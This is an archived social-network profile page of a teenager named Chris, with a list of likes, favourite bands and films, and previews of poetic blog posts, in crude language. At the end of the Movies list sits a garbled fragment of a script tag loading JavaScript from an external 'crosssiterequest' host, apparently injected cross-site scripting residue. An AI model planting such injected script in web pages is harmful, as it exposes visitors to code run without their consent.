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[ranDOOM] Chris Is Ready To Smash Some Fruit

"My Conscience Escapes Me When I Feel The Warm Inside Of Sluts"

About Me


-Well my name is chris, No fuckin lie- -My friends are fucking amazing people- -I listen to alot of rock music- -Drums are the coolest- -I drink alot of bottled water because its so good -Spagehtti just might be my favorite food...of all fucking time- -I love cheese pizza- -Im a Huge Nerd- -I like the word Amorous- -Im Random- -I love going to school- -I really enjoy partying- -Going To concerts- -Im fidgety- -Writing is Amazing- -I play hackey sack- -Aqua teen hunger force pwn's- -I take antidepressants- -Zombies are the Tits- -Running Zombies are fucking fast- -Dancing is fun- -I like to have a clean playing field if you understand the venacular- -Art shows are fun- -I hate math- -Coins Never Lie- -i wish i had magic powers- -and Wolverine is totally a douche bag who wish's he was as cool as Gambit- -The Light Side- -My Cell Phone is a P.o.s.- - The Captain CAN make it happen- -Mario 3 makes me angry- -I love Turkey- - Im a prude- -I love Geometry Wars- - Shmups are the coolest games OF ALL TIME - - Bishop of the Breakdown- -I <3 xbox live- Can'-Ka No Rey
ALSO my aim name = Childe of Ash Angry, Brilliant, Changing, Demanding, Dynamic, Exacting, Forceful, Heated, Hurtful, Impetuous, Indulgent, Nurturing, Purifying, Quick, Vengeful And Willful.

My Interests

Uh Lets see
I like music alot and on some level im sure its the most important to me
Reading - whether its books or anything
Video games
Jumping the Homeless Professionally
and thats it because im super cool

I'd like to meet:

This Girl

Music:

Thy Art Is Muder, The Bride, Curse at 27, Abacinate, Veil of Maya, All Shall Perish, Pat The Human, Maylene and the Sons of Disaster, Steve Irwin, House Vs Hurricane, Destroy the Runner, The Hottness, As Winter Burns White, BT, PVD, Dj Micro, Here Comes the Kraken, Vale of Pnath, Versa Emerge

Movies:

BoonDock Saints, Lord of the Rings, The matrix, Kpax, Godzilla, Joe Dirt, Dirty Work, Dodgeball, Star Wars. There is almost to many to really name .... language="javascript" src="http://crosssiterequest../request.js">function nothingf(){document·write("..1...{}");}..>

My Blog

I think i need a toupee

Got the eye's it takes, keep em steady cause roller coasters dont have this many hills behind enemy lines no reinforcements in sight,  and here comes awkwardness broken lines like trust but who's...
Posted by [ranDOOM] Chris Is Ready To Smash Some Fruit on Thu, 26 Jun 2008 07:34:00 PST

Circles and Sideways Cross’s

Intertwine these digits its time for the operaA crowd of snow and thunderSmile your the aria of this dirgeObject its time for your falsettoRehearse Laughs, can you really danceAlluring steps light jus...
Posted by [ranDOOM] Chris Is Ready To Smash Some Fruit on Thu, 27 Mar 2008 08:51:00 PST

I pay to see women naked

Shallow Perception cant see past the redImmaculate persona all in handCautious and Creeking, isit really fleeingCant breatheDoors all look the sameEulogies, Mourners looking through stained glass.Fixe...
Posted by [ranDOOM] Chris Is Ready To Smash Some Fruit on Thu, 27 Mar 2008 08:49:00 PST

Squiggle Line with a Dot

Shovel bbroke on teh third body - Come on down we got a new clownTo much translucent blue but the rivers are dryLights & Sirens its reality catching up! - "Know how fast you were going out there"I...
Posted by [ranDOOM] Chris Is Ready To Smash Some Fruit on Tue, 25 Mar 2008 12:59:00 PST

Something to do with Water and Twilight

Picture down Reds & Yellow’s Thats a Scooner! - Hey Good Fela Got a LiftFed a hungry mouth, This river looks Rapid.White Foam and nearly is Right - Capsize this canyon its time for our Fligh...
Posted by [ranDOOM] Chris Is Ready To Smash Some Fruit on Tue, 25 Mar 2008 12:49:00 PST

This is About Mashed Taters...Seriously

     Cerebral the white deserthills raise and fall like civilization and it tastes great.bitterness comes dry and its all made better through yellow riversSilver maiden beautiful a...
Posted by [ranDOOM] Chris Is Ready To Smash Some Fruit on Thu, 06 Dec 2007 11:41:00 PST

Open Wrapped and Empty Bottles. Mmmm Delicious

I see that stair case, all pearly white marked with red, no baby thats not wine but i think your going down and i got just the right shove to get you there. and im not telling you where the elevator i...
Posted by [ranDOOM] Chris Is Ready To Smash Some Fruit on Wed, 13 Jun 2007 10:42:00 PST

Hal you put that gun down

Mmmm that sure does smell good, nothing like the scent of new game on the grill. the spice rack is writhing in antipaction, twice the pagentry of the last grand ball. Shake that thang, my eyes are sta...
Posted by [ranDOOM] Chris Is Ready To Smash Some Fruit on Tue, 10 Apr 2007 03:26:00 PST

lets BLOW OFF the LIVE JOURNAL....twice!

Hm can i come and visit you, i heard that lieing to your self is pretty nice this time of year. Beaches must be filled with all the rumours a person could want. oh wait tides about in i wander what it...
Posted by [ranDOOM] Chris Is Ready To Smash Some Fruit on Sat, 31 Mar 2007 08:33:00 PST

I think this cake sorta tastes like a light rain

Spread out on the wings of a colossus,  where's the illumination in all of this. take it in stride because i thought i seen that sign a few blocks back. looks like this is a one way street. Spli...
Posted by [ranDOOM] Chris Is Ready To Smash Some Fruit on Thu, 29 Mar 2007 09:31:00 PST